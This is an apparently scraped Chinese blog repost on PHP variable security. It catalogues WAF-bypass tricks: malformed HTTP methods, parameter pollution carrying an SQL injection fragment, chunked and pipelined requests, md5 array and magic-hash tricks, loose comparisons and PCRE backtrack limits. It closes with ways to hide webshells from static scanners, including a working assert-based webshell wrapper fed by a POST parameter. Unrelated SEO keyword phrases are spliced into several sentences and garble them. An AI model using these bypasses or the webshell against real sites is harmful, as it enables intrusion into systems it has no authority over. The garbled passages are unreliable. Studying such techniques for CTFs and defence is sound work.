一次聲明多個變量php,php 保護變量,PHP安全:變量的前世今生

 2023-11-11 阅读 13 评论 0

摘要:摘要變量安全是PHP安全的重要部分,本文系統地分析了一個變量的“人生之旅”中存在哪些安全問題。變量的人生之路:傳入參數-->變量生成-->變量處理->變量儲存。一次聲明多個變量php?Part1 傳入參數傳參是一個從前臺通過GET或者POST方法傳遞參數的過程,

摘要

變量安全是PHP安全的重要部分,本文系統地分析了一個變量的“人生之旅”中存在哪些安全問題。變量的人生之路:傳入參數-->變量生成-->變量處理->變量儲存。

一次聲明多個變量php?Part1 傳入參數

傳參是一個從前臺通過GET或者POST方法傳遞參數的過程,在這里我們往往會遇到URL-WAF的安全判斷。URL-WAF指的是對請求的URL進行一系列正則匹配進行判斷的功能。

一,傳參時使用畸形的HTTP方法,很多WAF只檢查POST或者GET方法ABCDEFG /lab_value/get.php?num_value=hhh ?HTTP/1.1

php變量賦值。GET /lab_value/get.php?num_value=hhh ?HTTP/1.1

上面兩者是等效的,填HTTP方法的地方可以填任意非保留字。如下圖所示。

ac2e5c4a43999275297ca47628091ce7.png

4f96b783bc6d5165b22ebc33e583bf9b.png

552282809f54721f77fb408861132ed4.png

74efbc02fd3858d70ccd87930e6da8d2.png

二, 傳參的正則匹配bypass:URL-WAF往往具有一些通病

PHP定義變量。(1).HPP參數污染。部分WAF在檢查重復參數的時候,常常只檢查第一個,我們可以通過重復傳參bypass,如/?password=admin&&pasword=’ order by 1--+ 但要注意只有解析PHP的中間件才會把最后一個參數覆蓋之前的參數(重復參數,如上面的例子)。

(2).截斷繞過。

①長度截斷:部分WAF在檢查URL參數的時候,為了節約資源,往往會截取一定長度的參數進行安全檢查,而忽略后面的參數。

php的變量類型、②終止符截斷。部分WAF遇到%00會判定參數讀取完成,只檢查部分內容。

數據分裂繞過。

(3).URL-WAF往往對每一個請求單獨檢查或在連續但分次的請求只檢查第一次。

①利用分塊編碼傳輸繞過。當消息體的頭(header)存在Transfer-Encoding:chunked時,代表使用了分塊編碼傳輸,可以將幾次請求合并。

消息體由數量未定的塊組成,每一個非空的塊都以該塊包含數據的字節數(字節數以十六進制表示)開始,跟隨一個CRLF (回車及換行),然后是數據本身,最后塊CRLF結束。最后一塊是單行,由塊大小(0),一些可選的填充白空格,以及CRLF。最后一塊不再包含任何數據,但是可以發送可選的尾部,包括消息頭字段。消息最后以CRLF結尾。

②利用pipline繞過。當消息體的頭存在Connection:keep-alive時,代表本次請求建立的連接在Connection的值改為close前不會中斷。注意要關閉burpsuit的repeater模塊的Content-Length自動更新。

e2f313b7be838a9ef8ce7319024a8f0f.png

三,傳參的數據類型匹配bypass:傳入的變量類型出乎意料

對于$_GET[‘num_value’](并且$_POST[‘num_value’]也是同理)來說,并不是只有/?num_value=xxx作為合法有效的參數傳遞格式。PHP接受參數時會對得到的參數名進行一定變換。輸入的內容(傳入時會url編碼)PHP解析出的變量名

空格num_valuenum_value

num[value (這里必須左,右會報錯)num_value

num.valuenum_value

Num_value(大小寫敏感)報錯

num valuenum_value

num_valuenum_value

如果輸入/?num_value[]=xxx 也是合法的,但是數據類型與上方清一色的string不同,傳入一個數組。在ctf里常利用這一點,因為md5(數組)==0。

17229a0f59ce3ef00af0e5ae2062debc.png

3ccc88c2107f167885f0d3b3077ef817.png

四,傳參時的編碼問題

(1).源代碼存在文件操作函數時,url解碼兩次,此時可以兩次編碼urlencode。(如%27變為%25%27)

(2).Url解碼時,如果遇到%+字母,會自動過濾%。如果傳入sel%ect,解碼得到select。

(3).Base64解碼時,如果字符數量不是三倍數,會無法解碼拋出錯誤。

Part2?變量生成

傳入參數后,php會根據一定規則生成變量。

(1).服務器使用REQUEST獲取參數,它可以通過POST和GET同時發包繞過部分WAF。

(2).服務器使用extract( )函數,把得到的變量中的鍵與值生成對應變量,可能會導致變量覆蓋,從而造成安全問題。Ctf常用來覆蓋白名單。

(3).變量名加上[]傳入數組,繞過關于md5函數的一些檢查。

如md5(aaa[])===md5(bbb[])

(4).反序列化。服務器使用unserialize( )函數處理參數,實例化成一個對象。這里要提到一個PHP關于變量生成的特殊性質。Var_dump(“\x66\x6c\x61\x67”==”flag”); // 輸出是bool(ture)

同樣的,反序列化

O:5”Guess”:1:{s:3:”key”;s:16:”\x66\x6c\x61\x67”;}

與反序列化

O:5”Guess”:1:{s:3:”key”;s:16:”flag”;}

沒有區別

\x66是字符串的ascii值的十六進制形式在前加上\x,可以用下面的腳本生成<?php

$string = 'flag';

//在這里輸入要處理的字符串

$arr = str_split(bin2hex($string), 2);

foreach ($arr as $value) {

print('\x'.$value);

}

//結果是 \x66\x6c\x61\x67

?>

(5).跟4的原理有相似之處。md5(xxx,ture)會輸出一個16位的二進制數據,這個二進制數據也有機會被php解碼。所以xxx是ffifdyop時,會被php認為類似于萬能密碼’ or 1=1

(實際上有一點區別,后面不是1=1,但是也是TURE)

Part3?變量處理

生成一個變量后,PHP無非就是進行三種處理——變量比較,正則匹配,反序列化,下面我們來逐個分析。(反序列化本篇暫且不提,以后專門講)

一,變量比較

PHP的弱類型自誕生以來就不斷遭人詬病。PHP有兩種比較是否相等的符號,分別是"=="和"===",前者只比較值是否相等,當不同類型互相比較會自動轉型,安全問題就發生在這里,后者先比較類型,再比較值,對類型不同的比較返回false。

如下表:var_dump("abcd"==0); //true

var_dump("1abcd"==1);//true

var_dump("abcd1"==1) //false 字符串和數字比較,比較前面的同類型部分

var_dump(abdc1==0) ? //true 但是同時會報錯

var_dump(abdc1==1) ? //false 但是同時會報錯

var_dump(False==0) ?//true

var_dump("abcd1"==0) //true

var_dump("0e123456789"=="0e888888") //true php把0e開頭解釋為科學計數法,為0

不過,字符串和布爾值不能比較

二,正則匹配

(1).異或繞過

PHP有一個神奇的特性,異或。異或本身并不是神奇的東西,但是PHP可以讓字符串以ascii編碼進行異或

異或的簡單規則:如果a、b兩個值不相同,那么異或結果為1。如果a、b兩個值相同,那么異或結果為0。 ?比較兩邊只能有一個為true時才返回為true否則返回false。字母與數字(類似int整形的真正的數字)異或結果是原數字,不帶引號的字母會被認為是字符串。3 xor 2==1

2 xor 2==0

'`'^'*'=='J' (ascii編碼異或)

a^2==2 (但會報錯)

附上一個python腳本

def xor():

for x in range(0,127):

for y in range(0,127):

z=x^y

print(" ?"+chr(x)+"ascii:"+str(x)+' xor '+chr(y)+" ascii:"+str(y)+' == '+chr(z)+" ascii:"+str(z))

//復制粘貼要注意這里和上一行是同一行,不然報錯

if __name__ == "__main__":

xor()

下面是一個簡單的例子。

11f8ccd9d19ee4c1ba852f70447f6976.png

5b138d8cc72934569792a7203da620e7.png

(2).pcre回溯次數繞過

PHP的正則表達式中,匹配模式帶有通配符(例如*或者?)就有可能發生回溯。通配符*前面和后面存在其他匹配要求,就容易引起回溯,正則表達式每一個符號都會匹配完整個字符串,匹配得出的臨時結果讓下一個正則匹配符號再次匹配完整個字符串。

比如/^<.>/,它會匹配一個html標簽里面的內容。當我們輸入bcdefg用于匹配時,開始匹配,發現行末后面沒有字符串就開始回溯,匹配g,發現不對,在臨時結果中去掉g,繼續回溯,匹配f,不對,回溯,如此反復得到>,匹配出終極結果。當bcdefg達到一百萬個時,PHP不會繼續回溯,就跳過了匹配返回false,從而繞過正則。PHP為了避免這種問題,提出了新的語句規范,正則匹配如果是未匹配到字符,會返回0,回溯次數太多,返回false。使用===比較結果,就不會繞過if判斷。

b54a814380f8409619b63e28ba0ceea3.png

b15c17d6a6c4a7d1b26cf238a36aa965.png

d96c3c936676404c342163f7e97cfcb8.png

90b30726cfe3d7e917110214fda4180c.png

Part4 變量儲存

一個變量有時候在處理完還有最后一步,儲存(入土)。儲存之后,依舊會有WAF來檢查有沒有威脅(詐尸)。但無無論如何,現在的儲存檢查都是靜態檢查,所以繞過起來并不困難。(即使是D盾)

一,靜態繞過

(1).命名空間的利用貼一段PHP中文手冊內容

namespace A;

use B\D, C\E as F;

// 函數調用

foo(); ? ? ?// 首先嘗試調用定義在命名空間"A"中的函數foo()

// 再嘗試調用全局函數 "foo"

\foo(); ? ? // 調用全局空間函數 "foo"

my\foo(); ? // 調用定義在命名空間"A\my"中函數 "foo"

F(); ? ? ? ?// 首先嘗試調用定義在命名空間"A"中的函數 "F"

// 再嘗試調用全局函數 "F"

// 類引用

new B(); ? ?// 創建命名空間 "A" 中定義的類 "B" 的一個對象

// 如果未找到,則嘗試自動裝載類 "A\B"

new D(); ? ?// 使用導入規則,創建命名空間 "B" 中定義的類 "D" 的一個對象

// 如果未找到,則嘗試自動裝載類 "B\D"

new F(); ? ?// 使用導入規則,創建命名空間 "C" 中定義的類 "E" 的一個對象

// 如果未找到,則嘗試自動裝載類 "C\E"

new \B(); ? // 創建定義在全局空間中的類 "B" 的一個對象

// 如果未發現,則嘗試自動裝載類 "B"

new \D(); ? // 創建定義在全局空間中的類 "D" 的一個對象

// 如果未發現,則嘗試自動裝載類 "D"

new \F(); ? // 創建定義在全局空間中的類 "F" 的一個對象

// 如果未發現,則嘗試自動裝載類 "F"

// 調用另一個命名空間中的靜態方法或命名空間函數

B\foo(); ? ?// 調用命名空間 "A\B" 中函數 "foo"

B::foo(); ? // 調用命名空間 "A" 中定義的類 "B" 的 "foo" 方法

// 如果未找到類 "A\B" ,則嘗試自動裝載類 "A\B"

D::foo(); ? // 使用導入規則,調用命名空間 "B" 中定義的類 "D" 的 "foo" 方法

// 如果類 "B\D" 未找到,則嘗試自動裝載類 "B\D"

\B\foo(); ? // 調用命名空間

"B" 中的函數 "foo"

\B::foo(); ?// 調用全局空間中的類 "B" 的 "foo" 方法

// 如果類 "B" 未找到,則嘗試自動裝載類 "B"

// 當前命名空間中的靜態方法或函數

A\B::foo(); ? // 調用命名空間 "A\A" 中定義的類 "B" 的 "foo" 方法

// 如果類 "A\A\B" 未找到,則嘗試自動裝載類 "A\A\B"

\A\B::foo(); ?// 調用命名空間 "A\B" 中定義的類 "B" 的 "foo" 方法

// 如果類 "A\B" 未找到,則嘗試自動裝載類 "A\B"

?>

靜態檢查儲存的變量(比如小馬),回調函數加上一個命名空間一般都可以繞過,手冊內容太多,一般面對百分之九十的WAF,在回調函數前面加一個\就完事了。

(2).自定義函數

利用自定義函數對字符串或者函數名進行拼接,刪改,替換,除了繞過WAF,更有一些優秀的危險代碼可以繞過人,比如對代碼后面的空格統計數量轉化成字符。

這里附上一個簡單的自定義函數,萬法歸一,都是類似的。<?php

function x($a,$b){

call_user_func_array($a,$b);

}

x(‘assert’,array($_POST[‘a’]));

//甚至對于assert這個關鍵字也可以用變量再次拼接 $y=’a’+’ssert’;

?>

除了把保留函數二次調用,也可以通過自建加密函數來做到類似效果,只要把靜態化為動態就可以躲避掃描。

結尾

第一次發稿,謝謝審核大大指出排版問題,謝謝大家的支持。

版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。

原文链接:https://hbdhgg.com/5/170328.html

发表评论:

本站为非赢利网站,部分文章来源或改编自互联网及其他公众平台,主要目的在于分享信息,版权归原作者所有,内容仅供读者参考,如有侵权请联系我们删除!

Copyright © 2022 匯編語言學習筆記 Inc. 保留所有权利。

底部版权信息